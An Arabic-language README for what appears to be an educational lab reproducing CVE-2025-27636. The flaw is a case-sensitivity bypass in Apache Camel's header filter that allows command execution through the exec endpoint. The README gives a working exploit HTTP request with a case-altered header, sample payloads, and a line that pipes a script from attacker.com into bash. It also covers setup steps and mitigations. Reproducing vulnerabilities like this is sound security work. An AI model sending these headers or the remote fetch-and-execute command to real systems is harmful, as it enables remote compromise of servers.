
مختبر عملي لإعادة إنتاج CVE-2025-27636، وهو ثغرة RCE خطيرة في Apache Camel عبر تجاوز مرشح الرؤوس الحساس لحالة الأحرف. يوضح حقن الرؤوس لتنفيذ أوامر عشوائية من خلال نقطة النهاية exec.
CVE-2025-27636 هي ثغرة تنفيذ أوامر عن بُعد (RCE) حرجة في Apache Camel، وتحديداً في المكون camel-exec. تنشأ من مشكلة خفية ولكنها خطيرة:
DefaultHeaderStrategyيقوم بعمليات التحقق من أسماء الرؤوس (headers) مع حساسية حالة الأحرف (case-sensitive)، مما يتيح تجاوزها باستخدام حالة أحرف بديلة.
هذا يعني أن رؤوس Camel الداخلية—مثل CamelExecCommandExecutable—التي يجب حظرها يمكن أن تمر إذا تم التلاعب بحالة أحرفها (مثلاً cAmeLexecCommandExecutable).
عندما يصل هذا الرأس إلى نقطة النهاية exec:، يمكن للمهاجم حقن أوامر عشوائية، مما يؤدي إلى اختراق كامل للنظام.
DefaultHeaderFilterStrategyهدف DefaultHeaderFilterStrategy في Apache Camel هو حماية الرؤوس الداخلية مثل:
CamelHttp*CamelFile*CamelExecCommandExecutable ← 🚨 قابلة للاختراق إذا تجاوزت حالة الأحرف الفلتر🔍 ماذا يعني "داخلي" (Internal)؟ الرؤوس الداخلية هي:
مسبوقة بـ Camel*
تُستخدم فقط داخل Camel للتحكم في السلوك (التوجيه، المعالجة، نقاط النهاية)
ليست مخصصة للكشف للأنظمة الخارجية مثل HTTP, JMS, إلخ.
ولكن قبل التصحيح، كان هذا الفلتر يطابق أسماء الرؤوس مع حساسية حالة الأحرف، مما يخالف مواصفات HTTP (حيث الرؤوس غير حساسة لحالة الأحرف) ويسمح بالتجاوزات مثل:
GET /systeminfo HTTP/1.1
Host: target-ip:8484
cAmeLexecCommandExecutable: /bin/bash -c "touch /tmp/pwned"
هذا الرأس سيمر عبر المكون exec:، الذي ينفذ الحمولة (payload).
CamelExecCommandExecutableهذا الرأس يخبر المكون camel-exec بأي أمر يجب تشغيله. إنه قوي—وخطير جداً—إذا كان قابلاً للتحكم من قبل المستخدم، خاصة في البيئات التي تدعم أوامر على مستوى نظام التشغيل (مثل bash، cmd.exe، إلخ).
المشروع: Pinewood Server Diagnostic
المؤلف: @enochgitgamefied
الهدف: إعادة إنتاج CVE-2025-27636 في مختبر تعليمي حي.
مبني باستخدام Apache Camel 4.10.0
المسارات (Routes):
/tasks → يسرد المهام باستخدام exec:tasklist أو exec:ps/systeminfo → يعرض معلومات نظام التشغيل (systeminfo أو uname -a)/network → يعرض ipconfig أو ifconfigواجهة مستخدم ويب على / باستخدام Jetty مضمن
قابل للاختراق بحقن رؤوس بحالة أحرف معدلة إذا لم يتم تصحيح الفلتر
# استنساخ المستودع
git clone https://github.com/enochgitgamefied/CVE-2025-27636-Pratctical-Lab.git
cd CVE-2025-27636-Pratctical-Lab
# حزم التطبيق
mvn clean package
# تشغيله
java -jar target/hello-camel-1.0-SNAPSHOT.jar
ثم قم بزيارة في متصفحك:
🖥️ http://<your-ip>:8484
السلوك غير المُصحَّح:
إذا أرسلت رأساً مثل هذا (لاحظ حالة الأحرف):
cAmeLexecCommandExecutable: whoami
الفلتر لا يحظره، ويتم تمريره إلى نقطة النهاية exec:. يمكنك إظهار:
whoamiuname -abash -c "curl http://attacker.com/shell.sh | bash" ← خطيريتم إعداد عرض توضيحي كامل وسيتم رفعه قريباً. سوف يشرح:
رابط العرض على يوتيوب https://www.youtube.com/watch?v=z4Xf9LYXc9o&t=714s!
HeaderFilterStrategy مخصصة إذا كان يجب عليك فرض منطق أكثر صرامة.exec: مباشرة لـ HTTP إلا إذا كانت محصنة بالكامل.exec.هذا المختبر مصمم لأغراض تعليمية ومختبرية خاضعة للرقابة فقط. لا تحاول أبداً هذا على أنظمة أو شبكات غير مصرح بها.
